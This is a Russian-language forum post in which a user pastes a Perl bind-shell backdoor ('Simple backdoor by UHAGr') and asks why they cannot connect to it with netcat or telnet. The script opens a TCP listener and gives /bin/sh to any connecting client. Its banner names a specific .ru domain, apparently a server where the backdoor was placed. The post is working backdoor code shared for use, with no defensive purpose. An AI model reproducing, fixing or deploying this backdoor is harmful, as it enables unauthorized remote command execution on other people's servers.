| RexelNet |
02.09.2012 02:59 |
есть сервер с забинденным портом , юзаю это
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]#!/usr/bin/perl ############################################## # Simple backdoor by UHAGr coded by ghostian # # usage: ./UHAGr-bd.pl (default 75000)# # On shell ls = ls; etc. &n bsp; &n bsp; # # ; www.uhagr.org &nbs p; &nbs p; # ############################################## # nc http://joncraton.org/files/nc111nt.zip use IO::Socket; $msg = "echo ::[UHAGr] Yeah! ::-"; $port = ($ARGV[0]); $shell = "/bin/sh"; if (!$port) { $port="7500"; } $local = IO::Socket::INET->new(Proto=>"tcp", LocalPort=>"$port", Listen=>"1") or die "Port allready in use \n"; print " ############################################## # Simple backdoor by UHAGr coded by ghostian # # usage: ./UHAGr-bd.pl (default 75000)# # On shell ls = ls; etc. &n bsp; &n bsp; # # ; www.uhagr.org &nbs p; &nbs p; # # perl bind.pl 73000 , cmdlie art-consalting.ru 73000 # ############################################## "; while (accept(remote, $local)) { open(STDIN, ">&remote"); open(STDOUT, ">&remote"); open(STDERR, ">kick"); system($msg); system($shell); close(STDERR); close(STDIN); close(STDOUT); system("rm kick"); }[/COLOR][/COLOR]
и почемуто не могу подключится, как ставил проверял на работоспособность, с другого сервака пытаюсь подключится через netcat , неполучается, сначала подключался через телнет , но не выполнялись команты, точней невыводился результат, а теперь просто вылетает при подключении, что это может быть? порт открыт проверял |
